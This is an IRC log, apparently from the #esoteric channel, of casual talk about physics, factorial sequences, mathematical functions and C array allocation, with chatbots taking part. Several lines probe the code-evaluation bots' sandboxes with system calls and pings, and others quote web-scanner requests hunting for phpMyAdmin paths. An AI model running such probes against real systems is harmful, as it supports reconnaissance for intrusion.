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09:45:52 <oerjan> wow it's really happening
09:58:53 <oerjan> @tell kallisti <kallisti> but do we delineate an infinite spectrum of colors? <-- well relativity basically means it cannot be any more quantized than length itself, and no one has found any evidence length is quantized, although i think there are theories that it may happen at or near planck length scale
10:14:42 <oerjan> <tswett> Can it be found by sampling periodically from... a periodic, Riemann-integrable function?
10:23:50 <oerjan> ^ul ((0)(1)):^!S(~:^:S*a~^~*a*~:^):^
10:23:50 <fungot> 011010011001011010010110011010011001011001101001011010011001011010010110011010010110100110010110011010011001011010010110011010011001011001101001011010011001011001101001100101101001011001101001011010011001011010010110011010011001011001101001011010011001011010010110011010010110100110010110011010011001011010010110011010010110 ...too much output!
10:24:16 * oerjan things his fingers might be starting to remember that
10:26:42 <fizzie> oerjan: Doesn't UP say something about measuring the energy (i.e. wavelength) of photons? ∆E∆t > one of the h's, or something.
10:27:07 <oerjan> yes. but that doesn't mean those are quantized separately.
10:29:41 <oerjan> basically, relativity means you can always find a different frame of reference in which the energy is whatever value you want above the minimum, so it cannot have a discrete set of values for particles moving freely
10:30:52 <fizzie> Sure, sure, but the point was that can we differentiate between systems A and B which e.g. emit photons at wavelength x and x+e for arbitrarily small e?
10:31:19 <fizzie> (Though I think the actual point was whether unaided humans can, with our built-in sensory apparatus.)
10:31:44 <oerjan> well iiuc, if we use long enough time for the measurement the ∆t part can become as large as we wish...
10:32:44 <oerjan> basically, the UP doesn't restrict the precision for just a single of the observables
10:32:49 <fizzie> But if it's a finite time.
10:36:11 <fizzie> Anyway, I don't think ∆t is just how long we spend for measuring things. But I'm very much not a physicist.
10:41:52 <oerjan> <Sgeo> How easy/difficult would it be to make a Smalltalk VM for LSL? <-- so let me guess, my joke about you using LSL instead of Smalltalk for whatever it was you were doing has now mutated.
10:42:22 <oerjan> oh right, implementing haskell
10:42:35 <oerjan> so, haskell in a smalltalk vm in lsl. check.
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11:21:29 <kmc> http://dotsies.org/ cool, another programmer reinventing the alphabet without even a basic knowledge of how human vision works
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11:30:16 <Taneb> A scary thought occurs
11:30:31 <Taneb> I am younger than the proof of Fermat's Last Theorem
11:32:06 <Taneb> Also, Jackson has space for 72 more commands
11:44:48 <oerjan> i'm sorry, that hello took far too long. you are clearly a Taneb impostor.
11:47:50 <Taneb> Curses, foiled again.
11:48:00 <Taneb> For I am secretly elliott in disguise.
11:48:48 * oerjan suddenly gets a vision of a villain trying to rob a tinfoil factory and accidentally getting wrapped up in the machinery
11:48:56 <Taneb> But yeah, I just had things on my mind
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11:53:29 <Taneb> oerjan: this better?
11:54:43 <oerjan> i'm afraid you are still foiled.
11:56:08 <oerjan> i wonder if it would be a good idea to plant a rumor that tin^Walumini?um foil has mind control chemicals added
11:56:39 <Taneb> That could have hilarious consequences
11:57:00 <Taneb> Although it took me a second to think what Walumini was
11:57:21 <kmc> http://berkeley.intel-research.net/arahimi/helmet/
11:58:19 <kmc> "Using a $250,000 network analyser, we find that although on average all helmets attenuate invasive radio frequencies... certain frequencies are in fact greatly amplified. These amplified frequencies coincide with radio bands reserved for government use according to the Federal Communication Commission"
12:08:00 <Taneb> I'm looking at the photos of the UV Rave the other night.
12:08:09 <Taneb> I look like a flourescent chemistry zombie.
12:10:41 <fizzie> There's a rebuttal to that, too.
12:11:06 <fizzie> http://zapatopi.net/blog/?post=200511112730.afdb_effectiveness
12:11:30 <fizzie> "-- there are serious flaws in this study, not the least of which is a complete mischaracterization of the process of psychotronic mind control. I theorize that the study is, in fact, NWO propaganda designed to spread FUD against deflector beanie technology, and aluminum shielding in general, in order to disembeanie paranoids, leaving them open to mind control."
12:13:21 <ion> Where are buzzie and fizzbuzzie?
12:13:36 <kmc> probably interviewing for jobs
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12:13:55 <ion> At a blackboard
12:14:35 <oerjan> fizzbuzzie only shows up every second week or so
12:19:53 <Taneb> buzzie only once a twice a week
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12:44:34 <Phantom_Hoover> Well, today's xkcd did have a fairly funny joke, as evidenced by the fact that it was funny when Black Books did it a decade ago.
12:58:23 <itidus20> kmc: yeah i think you really need to engineer such helmets based on known weaknesses of mind-control technology.. not troll-physics
13:01:22 <Taneb> That is a real scientific field.
13:05:20 <fizzie> But it doesn't have anything to do with spiders. :/
13:05:33 <Taneb> That would be Arachnoacoustics
13:05:48 <fizzie> Well, anyone doing that?
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13:57:39 <fizzie> Sometimes it's a bit confusing.
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14:05:38 <lambdabot> http://code.haskell.org/lambdabot/COMMANDS
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14:27:58 <fizzie> Only up to edit distance of two, sorry.
14:28:14 <fizzie> And as long it's unambiguous.
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15:19:02 <tswett> la_fen: tell elliott pong
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15:25:39 <Taneb> If we define a function that I will narcisistically name Taneb_2 (n) such that Taneb_2 (n) is the lowest power of 2, x, such that n! mod x is 0.
15:26:45 <Taneb> This goes 0,1,1,3,3,4,4,7,7,8,8,10,10,11,11...
15:26:59 <Taneb> @oeis 0 1 1 3 3 4 4 7 7 8 8 10 10
15:27:04 <lambdabot> n minus (number of 1's in binary expansion of n). Also highest power of 2 di...
15:27:04 <lambdabot> [0,0,1,1,3,3,4,4,7,7,8,8,10,10,11,11,15,15,16,16,18,18,19,19,22,22,23,23,25,...
15:27:37 <Taneb> @oeis 0 0 1 1 1 2 2 2 4 4 4 5 5 5
15:27:47 <lambdabot> [0,0,0,1,1,1,2,2,2,4,4,4,5,5,5,6,6,6,8,8,8,9,9,9,10,10,10,13,13,13,14,14,14,...
15:28:37 <fungot> Taneb: it's an infinite list to me.). it would be a fnord? hehe.
15:28:42 <fungot> Available: agora alice c64 ct darwin discworld europarl ff7 fisher fungot homestuck ic irc* iwcs jargon lovecraft nethack pa qwantz sms speeches ss wp youtube
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15:29:01 <fungot> Selected style: jargon (UNIX-HATERS mailing list archive)
15:29:09 <Taneb> fungot, give me advice
15:29:10 <fungot> Taneb: many existing implementations or add unnecessary complexity to merit a higher level programming interface consider sendmail.cf. perhaps, for example, are we always destined to reinvent the same port.
15:29:50 <oklofok> so here i am reading my morning nonsense from #philosophy
15:30:03 <oklofok> and i accidentally click on #esoteric
15:30:26 <oklofok> and read fungot's line and i'm like finally, something that makes sense.
15:30:26 <fungot> oklofok: what bothers me even more than 13 blocks long, at most cs labs, and
15:31:07 <oklofok> ah, that reminds me of Kant's thesis about the existence of 14 blocks long without an inherent substantial being.
15:32:05 <cheater_> oklofok: i also think that this
15:32:38 <Taneb> I had a really good formula forTaneb_2(n) but it doesn't account for multiples of four that are not a power of 2
15:33:25 <Taneb> The highest power of 2 dividing n!
15:34:11 <Taneb> Pending a better name
15:35:07 <cheater_> "power of 2 in the prime decomposition"
15:35:37 <fizzie> fungot: I think that was an infinite list to everyone.
15:35:37 <fungot> fizzie: would anyone be interested in running restricted mailing-list software that caused all our software even more than ten minutes. mailing lists were expected to follow in a
15:39:14 <oklofok> Taneb: "dividing (n!)" and not "(dividing n)!" right?
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15:40:06 <oklofok> i'll take that as a "FUCK MY HOUSE IS ON FIRE"
15:40:26 <kmc> highest power of 2 dividing! n
15:41:01 <fizzie> It doesn't just divide, it divides.
15:43:17 <itidus20> http://www.youtube.com/watch?v=6wJzo5v8wYQ
15:45:33 <oklofok> 2^k \emph{divides} n is a good way to say k is the highest power that divides n
15:51:52 <fizzie> \frac{\mbox{divi}}{\mbox{des}}.
15:58:31 <Gregor> @tell elliott Wow, it's almost like we're in distant timezones!
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16:00:20 <fizzie> lambdabot: Are you doing some
16:04:36 <Gregor> Oh, mail tracking. Apparently my package sat in Los Angeles, CA for a week for no reason, then teleported to Lafayette, IN for delivery.
16:08:48 <fizzie> Mail tracking, the leading cause of the "F5 finger" symptome.
16:09:42 <lambdabot> kallisti: You have 2 new messages. '/msg lambdabot @messages' to read them.
16:09:46 <calamari> my favorite is when the package was already delivered and I check the tracking and it says it wasn't
16:14:29 <fizzie> My favorite was when the tracking says the package was already given out of the post office, but I hadn't picked it up yet.
16:20:04 <Gregor> My favorite is when the package says it went to the wrong city, and is now out for delivery.
16:20:11 <itidus20> wikipedia's disambiguation page says "Function (mathematics), an abstract entity that associates an input to a corresponding output according to some rule"
16:20:26 <itidus20> this to me sounds like what is also called a process
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16:20:53 <Gregor> Proc{esses,ocedures} have side effects.
16:21:08 <Gregor> Of course, the definition of "side effect" is up to you.
16:21:24 <fizzie> Once they routed my from-the-next-city package into somewhere far up there in Northern Finland, and then said there has been an "irregularity".
16:21:28 <Gregor> Oh, also functions terminate :)
16:21:58 <itidus20> yeah i can't cheat this topic very easy
16:22:16 <Gregor> If your input is a machine state and your output is a machine state, then a procedure is a function ^^
16:23:33 <Gregor> fizzie: I recall some friend posting a screenshot of the tracking web site showing that their package was looping.
16:23:48 <Gregor> It had done something like Portland -> Eugene -> Portland -> Eugene
16:24:37 <fizzie> Quite a few languages also have terminology where a "procedure" is pretty much a "function" which just doesn't return a value.
16:25:18 <itidus20> fizzie: yeah but thats not what people come here to hear
16:26:38 <Gregor> Well, yeah, in programming languages the words all get blurry.
16:26:49 <Gregor> But the quote from above did say "Function (MATHEMATICS)" (caps added)
16:27:24 <itidus20> so is a function a state transition table?
16:28:16 <itidus20> maybe table isn't the right word here since i wouldn't really quite know what i am referring to
16:30:12 <itidus20> so i could have a machine with 2 states.. a and b.. and a function which accepts either a or b... and i could call this function identity and say a->a, b->b
16:31:21 <itidus20> but in this case the type of x would be a machine state instead of a function
16:32:21 <itidus20> and it all starts to fall apart and wishful thinking that it could be so easy
16:36:36 <itidus20> i think it is not such an easy topic :-D
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16:48:21 <itidus20> it seems that probably the reason i fill my head with misconceptions is my urge to take shortcuts
16:51:14 <itidus20> kallisti: in any case i will read up on functions in my own time.. any other topic you have in mind?
16:54:15 <oklofok> itidus20: in mathematics, the difference between a function and a process, to me, is not that a process has side-effects (that's meaningless in math), it's that a process can be computed in some way (the "how" is left implicit)
16:55:12 <kallisti> itidus20: many kinds of state transitions can be described as functions, but functions themselves have nothing to do with state.
16:55:28 <Gregor> Well, I don't think the term "process" is meaningful in mathematics, but if we take the concept "function" more broadly, then you have to introduce state to be able to describe what a process is.
16:56:12 <kallisti> for example finite state automata have a state transition function : (states, alphabet) -> states
16:56:25 <kallisti> for example finite state automata have a state transition function : states x alphabet -> states
16:57:27 <oklofok> "<Gregor> Oh, also functions terminate :)" i don't think this is very relevant either
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16:57:59 <oklofok> and you can't really even talk about whether a function terminates. that's meaningless.
16:58:07 <kallisti> terminate implies a computation in the first place.
16:59:12 <kallisti> hm, you could probably determine if computing the result of a function from an input terminates.
16:59:30 <kallisti> but it's probably not always straightforward how to compute a function.
17:00:01 <fizzie> Not all functions are, you know, computable.
17:00:05 <oklofok> "<kallisti> terminate implies a computation in the first place." exactly
17:00:11 <itidus20> ok suppose our machine is a tictactoe board which ignores symmetry and whose turn it is. curiously a valid game of tictactoe is only those state transitions where only one tile on the board is changed from an empty square
17:00:19 <oklofok> perhaps Gregor was really talking about programming in the first place
17:00:38 <fizzie> oklofok: Give that it was about "processes" in the first place, that doesn't sound entirely surprising.
17:00:43 <itidus20> uhmmm.. not sure where i'm going with this
17:01:37 <fizzie> Though I suppose e.g. a stochastic process is a mathematical creature and has a definition for a "process".
17:02:06 <oklofok> fizzie: well i suppose you could say that a function is "computable" if it's on some level of the arithmetical hierarcy. that means it's computable as long as you can quantify over infinite subsets of N (afaiu). and so on.
17:02:10 <kallisti> oklofok: do people actually use monads when describing different kinds of computational processes in a mathematical setting? or do they mostly use the more "standard" models of computation like production systems, logical combinators, turing machines, and so forth.
17:02:30 <kallisti> oh, well, I guess monads would fall under "logical combinators":
17:02:49 <itidus20> im really a very slow thinker.. and i have inadvertently created chaos by these ambiguous definition topics. but i hope that it is a useful chaos for some of you.
17:03:23 <zzo38> What exactly do you mean by "logical combinators"?
17:04:09 <Slereah> Did someone say logical combinators?
17:04:13 <zzo38> And how to monads fall under it?
17:04:34 <kallisti> hmm, well I meant things like SKI and lambda calculus. But I guess LC isn't really combinatory
17:04:52 <oklofok> kallisti: well that's computer science / logic stuff, we don't use monads for anything.
17:05:03 <fizzie> oklofok: I suppose you could also say that a function is "computable" by referring to some particular model of computation, and don't those all pretty much end up being the same set of functions?
17:06:44 <fizzie> It's because computer scientists can't math, and math people don't like computers.
17:06:57 <oklofok> fizzie: yeah, but that's different in that the analytical hierarcy is a fuckload less computable than anything in the arithmetical hierarchy, which is a fuckload less computable than anything that an actual machine can compute.
17:07:23 <zzo38> fizzie: People in this channel might like both
17:07:39 <fizzie> zzo38: Those are then some kinda freaks.
17:08:08 <itidus20> maybe it is because i am too impartial that i can't figure things out
17:08:12 <zzo38> (It includes myself too)
17:08:56 <oklofok> kallisti: well i don't use L-functions either, and those are way more important than monads.
17:09:17 <itidus20> that is to say, from my point of view i have to take everyones comments as equally valid
17:09:34 <kallisti> oklofok: aren't L-functions not even proven or anything...
17:09:37 <fizzie> kallisti: Don't listen to oklopol, ain't no one who can tell you what you can or cannot do! Believe in yourself! And other such phrases!
17:10:08 <fizzie> I was so tempted to add a "
17:10:12 <fizzie> *vomits a rainbow*" at the end.
17:10:18 <itidus20> i think you mean don't_listen_to(x)
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17:10:44 <oklofok> kallisti: yeah i don't think you can prove they have analytic continuations
17:11:03 <oklofok> erm wait a sec, i'll elaborate
17:11:38 <kallisti> it would be lame if they were disproven completely, and then all of that work will vanish.
17:11:44 <oklofok> (because what i said was wrong)
17:11:44 <kallisti> silly mathematicians are playing it risky. :>
17:12:04 <itidus20> for example, no matter how smart people are, nor how much consideration is put into writing laws... no legal system will ever be perfect
17:12:43 <itidus20> so all participants in the legal system have to sort of get on with their work and ignore the fact their system is fundamentally imperfect
17:13:12 <oklofok> kallisti: that work would be part of the work that proves they exist
17:13:19 <itidus20> and, someone who couldn't face this fact can't really enter the legal system
17:13:36 <oklofok> the proof of a theorem doesn't vanish because the theorem is reduced to "true"
17:13:45 <oklofok> well, naturally some of it would be just plain useless.
17:14:26 <itidus20> and in the same way, if i am too preoccupied with getting the right understanding than getting some understanding same thing really
17:16:06 <kallisti> oklofok: I was talking about the situation where it was disproven.
17:17:24 <kallisti> that the work going into proving the theorem
17:17:30 <oklofok> kallisti: well the whole theory could then be thought of as an unnecessarily proof by contradiction. "assume we can analytically continue this L series here"
17:17:33 <kallisti> becomes part of the theorem of its contradiction in that case.
17:17:46 <oklofok> "we could then develop this awesome theory and OH FUCK A CONTRADICTION"
17:18:24 <kallisti> ..there are proofs in my math homework that I wish I could prove my contradiction
17:18:38 <kallisti> but my professor is one of those where he won't let you use methods that haven't been discussed yet.
17:19:18 <kallisti> a very annoying aspect of math classes.
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17:19:49 <kallisti> it's not quite the same in programming, in my experience. Usually as long as you meet the assignment requirements you can use whatever language features and standard libraries you want.
17:21:43 <kallisti> for example, back in my intro Java class we were covering nested if-else statements, but to shorten my code I just used an array, even though we hadn't covered them.
17:21:49 <kallisti> and the professor even commented on it positively. :P
17:24:28 <oklofok> you can use any methods you like in pretty much all math classes in our uni
17:24:36 <oklofok> the prof will show an answer based on the course though
17:24:57 <kallisti> yeah my professor just nitpicky about certain things
17:25:06 <kallisti> he's probably the best math prof. at the university as far as I can tell.
17:25:44 <kallisti> for example, he doesn't like the re-use of the same variable in different, unrelated quantified statements.
17:26:04 <kallisti> obviously he's not a fan of local scope. :P
17:27:07 <kallisti> but he doesn't count off if you do that.
17:28:42 <kallisti> ...random thought. it would be awesome to see in, a math paper, a huge integral in parentheses
17:28:58 <kallisti> in a text portion of the paper
17:29:12 <kallisti> rather than using some TOTALLY LAME VARIABLE.
17:29:13 <fizzie> Are you sure he'll let you ever prove something by contradiction? You know, there are people who just don't think that's kosher at all.
17:29:42 <kallisti> well, he's teaching from the book, to the point he uses whatever notational conventions the book uses, even if he doesn't like them.
17:29:51 <kallisti> for example, our natural numbers start at 0.
17:30:34 * kallisti is, as a programmer, prone to off-by-one errors in every facet of daily life.
17:30:57 <kallisti> why would that not be acceptable.
17:31:06 <oklofok> "prone to off-by-one errors in every facet of daily life." who isn't
17:31:14 <kallisti> if you prove a statement is false, then its negation is necessarily true..
17:31:35 <fizzie> kallisti: See: http://en.wikipedia.org/wiki/Mathematical_intuitionism
17:31:39 <kallisti> oklofok: MAYBE PROGRAMMING HAS WARPED MY BRAIN
17:31:44 <fizzie> "A major force behind Intuitionism was L.E.J. Brouwer, who rejected the usefulness of formalized logic of any sort for mathematics. His student Arend Heyting postulated an intuitionistic logic, different from the classical Aristotelian logic; this logic does not contain the law of the excluded middle and therefore frowns upon proofs by contradiction."
17:32:04 <oklofok> seriously the hardest part about even things like writing proofs is to get the indices right, "err is this k or k-1... well whatever, you get the point".
17:32:10 * kallisti hasn't gotten to a stage in his math education where he ever thinks about intuitionistic logic.
17:32:57 <fizzie> oklofok: There's a maths professor at our place who starts with subscript indices, then they gradually rise up to be "middle indices", and by the end of the blackboard they're superscript. (Or vice versa.)
17:33:28 <fizzie> Middlescript is just like regular text except it's kinda smaller.
17:33:48 <kallisti> I think it would make sense to be vertically centered as well.
17:34:09 <fizzie> I suppose some of them are. They sort of range all over the VERTICAL RANGE.
17:34:19 <Phantom_Hoover> <fizzie> oklofok: There's a maths professor at our place who starts with subscript indices, then they gradually rise up to be "middle indices", and by the end of the blackboard they're superscript. (Or vice versa.)
17:34:21 <kallisti> so slightly above normal script, "in the middle"
17:34:58 <Phantom_Hoover> I had a chemistry teacher who wrote the stuff he was teaching up on a whiteboard, and it sloped down towards the right a lot.
17:35:43 <fizzie> Oh, and the indices immediately drop down to subscript if there's a case of superscript-denoting-exponentiation nearby.
17:36:03 <Phantom_Hoover> You wouldn't have to bother adjusting the height of your hand, for one thing.
17:36:06 <kallisti> fizzie: that sounds really confusing.
17:36:44 <calamari> argh.. I need to go back to magical C kindergarten.. can someone check whether I converted these arrays properly? http://pastebin.com/tbbBbZPN
17:36:50 <fizzie> Well, usually you can tell from the context, since normally it's the same "k" that keeps wandering up and down.
17:39:05 <fizzie> The ragged-array construction is not exactly equivalent, but I suppose it's the closest sensible thing. And there's a school of thought that would write the mallocs as malloc(num_iso_transfers * sizeof *tfr) and malloc(num_iso_transfers * sizeof *isobuf) and malloc((64 * 3072) * sizeof **isobuf) and/or malloc(64 * 3072) since sizeof(unsigned char) is and always will be exactly 1.
17:39:34 <kallisti> fizzie: all C code should strive to be self-documenting.
17:40:40 <fizzie> Also instead of "(64 * 3072) * sizeof X" it maybe a good idea to introduce the size_t-ness already in the multiplication for when you port it to a place with 16-bit ints, where (64 * 3072) will be 0.
17:40:51 <fizzie> (Okay, that's the picking of nits.)
17:41:30 <fizzie> (Sadly, there's no size_t literal suffix. Wouldn't 3072z look just peachy?)
17:42:58 <zzo38> You could modify CWEB to add such things; WEB added various things to Pascal which they didn't have at first so you could do with C as well
17:43:54 <calamari> fizzie: I was mainly worried whether I even was technically correct, but I appreciate your style tips as well!
17:44:44 <fizzie> I didn't find anything to complain about on the correctness front, so I sort of had to make do.
17:46:31 <fizzie> (I almost had to resort to the "malloc might return NULL" backup option.)
17:47:05 <calamari> fizzie: I am checking for NULL believe it or not :)
17:48:06 <fizzie> Since 64 * 3072 is constant, it *would* be possible to have unsigned char (*isobuf)[64*3072]; isobuf = malloc(num_iso_transfers * sizeof *isobuf); without the whole array-of-pointers deal, but then isobuf has a slightly unwieldy type, and maybe looks a bit arcane.
17:54:43 <fizzie> 19:51 <fizzie> ,cc unsigned char (*isobuf)[64*3072]; size_t s = sizeof *isobuf;
17:54:46 <fizzie> 19:52 <candide> fizzie: <no output: s = 196608>
17:54:49 <fizzie> That's one useful bot for checking that I'm not spouting pure bullcrap.
17:54:51 <fizzie> fungot: Why can't you be that useful ever?
17:54:51 <fungot> fizzie: wouldn't that force you to use fnord to read a text stream/ to read a text i just wrote
17:55:11 <fizzie> fungot: I... guess that's fair. Never mind, then.
17:55:11 <fungot> fizzie: i found some sql foo recently. it's often easier to be forced is not really
18:00:49 <Sgeo> kallisti, update if you didn't see it
18:03:16 <Gregor> !c unsigned char (*isobuf)[64*3072]; printf("%d\n", (int) sizeof(isobuf));
18:03:27 <Gregor> !c unsigned char (*isobuf)[64*3072]; printf("%d\n", (int) sizeof(*isobuf));
18:03:52 <Gregor> That is one severely weird thing to do to C.
18:04:54 <Gregor> Well, it's not like it's going to perform bounds-checking, and the amount of space will be documented by the allocation anyway.
18:05:17 <fizzie> !c unsigned char (*isobuf)[64*3072]; printf("%zu\n", sizeof *isobuf); /* it's like *2011*, man, it's okay to use C99 features */
18:05:45 <Gregor> I guess if you really absolutely needed sizeof(*isobuf) to be right for macros or something, there's that.
18:06:33 <Gregor> Also, I compile all my code with -Wall -Werror -ansi -pedantic :)
18:08:46 <fizzie> I'm still not sure what the weird thing was. I mean, the argument for "x = malloc(sizeof *x)" is that when you have a "struct funky *x" and you update it to "struct hunky *x" later, you don't have to remember to update a "x = malloc(sizeof(struct funky))" which, of course, wouldn't be detected at compile-time to be a problem.
18:09:07 <fizzie> (Also sizeof without parens looks cleaner.)
18:10:19 <Gregor> It's highly unlikely that you're going to be able to swap a struct for an array regardless, the malloc being the same is only a first convenience on a path of suffering ...
18:12:21 <fizzie> That was just a general-purpose justification for "malloc(sizeof *x)", where x might be one sort of a struct that gets changed to another, closely related sort.
18:17:12 <fizzie> (candide's funky "print out all locals at the end" thing is some sort of a gdb-driven thing.)
18:19:47 <fizzie> 20:19 <fizzie> ,cc char can_i_have_some_uninitialized_data_please[4096];
18:19:48 <fizzie> 20:19 <candide> fizzie: <no output: can_i_have_some_uninitialized_data_please = '\0' <repeats 1224 times>", .">
18:19:52 <fizzie> That was a bit boring.
18:20:23 <fizzie> Well, there's the ", ." part, I'm not sure what that's supposed to be.
18:27:44 <Gregor> So what does candide do for protection?
18:28:07 <fizzie> It's some sort of a VM thing.
18:28:22 <fizzie> I forget exactly, someone mentioned something about it.
18:28:33 <fizzie> One of the well-known ones, anyway.
18:31:23 <fizzie> 20:31 <fizzie> ,cc #include <stdlib.h>\n system("cat /proc/cpuinfo");
18:31:25 <fizzie> 20:31 <candide> fizzie: processor : 0 vendor_id : AuthenticAMD cpu family : 6 model : 2 model name : QEMU Virtual CPU version 0.12.5 stepping : 3 microcode : 0x1000065 cpu MHz : 800.000 ...
18:32:08 <ion> `run sh -c 'ping 8.8.8.8'
18:32:43 <fizzie> `run file `which ping`
18:32:46 <HackEgo> /hackenv/bin/ping: Bourne-Again shell script text executable
18:32:50 <ion> `run cat /hackenv/bin/ping
18:32:54 <fizzie> Sounds like the best sort of ping.
18:32:59 <HackEgo> /hackenv/bin/ping \ /bin/ping
18:33:15 <ion> `run file /bin/ping
18:33:18 <HackEgo> /bin/ping: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, stripped
18:33:23 <ion> `run /bin/ping 8.8.8.8
18:33:26 <HackEgo> connect: Network is unreachable
18:45:53 -!- augur has quit (Remote host closed the connection).
18:55:56 -!- azaq23 has joined.
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18:56:44 <lambdabot> elliott: You have 1 new message. '/msg lambdabot @messages' to read it.
18:58:39 <elliott> anyway: http://esoteric.voxelperfect.net/wiki/Esolang_talk:Community_Portal#Site_move_.2F_wiki_read-only to anyone who hasn't seen it
18:59:10 <elliott> 09:45:52: <oerjan> wow it's really happening
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19:01:34 <fizzie> elliott: Oh, so you're MAKING THIS HAPEN.
19:03:36 * elliott just assumes Gregor is whoaing at my GETTING THINGS DONE lyfestyle.
19:03:58 <Gregor> Whoaaaaaaaaaaaaaaaaaah
19:04:05 <Gregor> That whoah was at "lyfestyle"
19:04:23 <elliott> This marks the first thing I have ever accomplished without Gregor's mockery.
19:04:36 <Gregor> That's not quite true.
19:04:40 <Gregor> You've done things I haven't noticed.
19:05:01 <elliott> This is the first thing I have ever accomplished.
19:05:13 <Gregor> Ah, so that statement was vacuously true.
19:05:43 -!- NihilistDandy has quit.
19:06:25 * elliott makes about ten copies of esostuff.7z in different locations on his hard drive.
19:06:49 <elliott> $ sudo cp esostuff.7z / && sudo chown root:root /esostuff.7z && sudo chmod 500 /esostuff.7z
19:06:58 <Sgeo> Sounds useful were your HD to crash
19:07:08 <elliott> Yes, like say if I were to drop my laptop.
19:14:33 <HackEgo> folez rended sovrainte hed rig tfi ptyczner num izrasoagh jlr dihiw qua avissio inflicheim romentalnuri fubau sametaria pogent souall ress via comr autstara prae electorei
19:19:58 -!- derdon has quit (Remote host closed the connection).
19:22:40 -!- jix has quit (Quit: Lost terminal).
19:23:09 -!- jix has joined.
19:26:00 <fizzie> That doesn't look like 50 to me.
19:26:05 <HackEgo> laisiiparvitsevassanovitra raisimmistamiin irtävältä vällänsäänsä hauksi havaksemmältä hallenne koukisimpan törmääremme sovesitoskin sisemmiksemme poimpienne kokoosissa karityksi tullasiksi epäivänansa yllyttä tuottauksi lisemiselviyöstöiksesi hyvänne
19:27:11 <elliott> 213.222.12.125 - - [17/Feb/2012:11:46:49 +0000] "GET //phpMyAdmin//scripts/setup.php HTTP/1.1" 404 169 "-" "Plesk"
19:29:23 -!- pikhq has quit (Ping timeout: 245 seconds).
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19:36:22 -!- Taneb has joined.
19:36:48 <Taneb> Thue-Morse sequence as a Luigi program
19:41:06 <elliott> @ask ais523 Do we want the RC patrol stuff?
19:41:40 <fizzie> Heh, someone's hit my QBasic help file translation with the Google search ""QBASIC PATH NOT FOUND" WIN 7".
19:41:53 <fizzie> (Also you made me look at server logs.)
19:42:29 <elliott> that "-" is the referer, right?
19:42:42 <fizzie> Probably, in the default log-config.
19:43:14 <fizzie> Well, it looks like it's trying to be Apache-combatible, for log-file-lysis purposes.
19:44:03 <fizzie> Oo, a good old "GET /w00tw00t.at.ISC.SANS.DFind:)" too. (It's one of those vulnubbarity scanners.)
19:45:13 <fizzie> /admin/index.php, /admin/pma/index.php, /admin/phpmyadmin/index.php, /db/index.php, /dbadmin/index.php, ..., /phpMyAdmin-2.5.6-rc1/index.php, ... -- it's like "how many ways you can spell it" contest.
19:45:33 <elliott> fizzie: What's a good thing to look through a several-hundred-megabyte text file?
19:45:55 <fizzie> I would think that depends on what you need to look for.
19:45:55 <Sgeo> If I were to write, say, Maybe stuff in Smalltalk, would it be acceptable to use gather: as bind and with: on the class side as return?
19:46:11 <Sgeo> Because Collections pretty much do that,
19:47:03 <elliott> fizzie: I just want to browse it.
19:47:31 <elliott> Sgeo: Monads are pointless in any dynamic language.
19:47:55 <elliott> You can't write generic code at all without explicitly plumbing around the dictionary (in this case the class) everywhere, which makes it incredibly painful.
19:48:05 <Sgeo> Is there a nicer way to do list comprehensions in Smalltalk than a bunch of gathers?
19:48:14 <Sgeo> {1. 2} gather: [:a | {1. 3} gather: [:b | Array with: (a+b)]]
19:48:35 <Taneb> Nobody cares about my implementation of the Thue-Morse sequence in Luigi
19:49:00 <fizzie> Oh, right. I don't really know. I've used less with rather big files too; if you do something that requires it to do a line count (like "seek to 50%") there's a long pause, but afterwards it caches, for that one run. Maybe haven't done *several*-hundred-megabyte files, though.
19:49:00 <Sgeo> elliott, well, couldn't I make a trait or something, put the generic code in the trait?
19:49:32 <Sgeo> Having some trouble working out how to browse and use traits though
19:50:11 <fizzie> Neither of Vim and Emacs is, according to my own experiences, all that good about hueg files, at least out-of-the-box just-like-that.
19:50:31 <elliott> fizzie: Emacs seems to be working OK enough.
19:50:41 <elliott> The file also has incredibly long lines, sigh
19:50:45 <Gregor> vim I've found to be particularly awful with huge files.
19:51:07 <elliott> like, almost 1,000,000 col lines
19:51:35 <fizzie> It is that, yes. But Emacs didn't deal all too well with a "single multi-megabyte line" file either. Movement was sort-of laggy.
19:51:41 <Taneb> Oh god oh god oh god
19:51:48 <fizzie> Not sure if it was in some non-optimal mode, though.
19:51:49 <Sgeo> Maybe I should try CL with SLIME?
19:52:11 <Taneb> I've found the Ook!++ spec
19:52:12 <fizzie> Sgeo: Did you ever answer whether your login-watching was about stalking someone or something completely different?
19:52:14 <elliott> fizzie: Yah, I'm just resigned to a fairly painful experience.
19:52:23 <elliott> But Ctrl+down to skip huge lines seems to work OK.
19:52:30 <Sgeo> fizzie, oh, I don't remember if that was asked
19:52:45 <Sgeo> fizzie, professor wants us to stalk him?
19:53:28 <elliott> You know what I hate more than MediaWiki?
19:55:44 <elliott> Anyway, OK, I have everything I need. I'll probably start installamating things later today or whenever ais is on.
19:55:51 <fizzie> "less" does this 400M Apache log quite fine, though it doesn't have excessively long lines, and I'm not sure what would be the correct option to skip one of those. (Though "less -S" would show always one line on one line -- and then of course force you to scroll vertically to see what's beyond the edges.)
19:56:40 <elliott> I use less -S for looking at access.log.
19:56:47 <elliott> Otherwise the alignment of the fields and dates and such gets mucked up.
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20:02:40 <Sgeo> "scroll vertically" for that?
20:06:40 <Sgeo> Trying to make a million Processes was a bad idea, I think
20:06:54 <elliott> Hmm, the migration plan might be slightly better adjusted slightly, to be a little out of sync with the two servers or with a brief period of inaccessibility.
20:07:19 <Sgeo> Hmm, Pharo's style of clarifying which ] goes with which [ is not so great for the colorblind
20:08:23 <coppro> are you the colorblind?
20:09:05 <Taneb> What colours are used?
20:10:05 <Sgeo> green and purple I think, for starters
20:10:19 <Sgeo> Can't really tell right now, image frozen with my line selected
20:10:32 <Sgeo> The thing can't even do 100 processes comfortably.
20:10:40 <fizzie> Sgeo: Horizontally is probably what I was supposed to say. Vertically you need to scroll anyways.
20:12:53 <Sgeo> The thing doesn't seem to be able to handle even 100 processes
20:12:59 <fizzie> I always scroll consensually only.
20:13:18 <Sgeo> 1 to: 100 do: [:x | [[true] whileTrue] fork]
20:13:19 <fizzie> Consensually, apparently.
20:13:40 <fizzie> Shouldn't have second-guessed.
20:15:33 <Sgeo> Tried it with 10
20:15:44 <Sgeo> But there was a difference: I didn't have Process Manager with autoupdate on
20:16:14 <Sgeo> Things slowed down a bit. Things froze when I opened Process Manager and turned autoupdate on
20:24:17 -!- ais523 has joined.
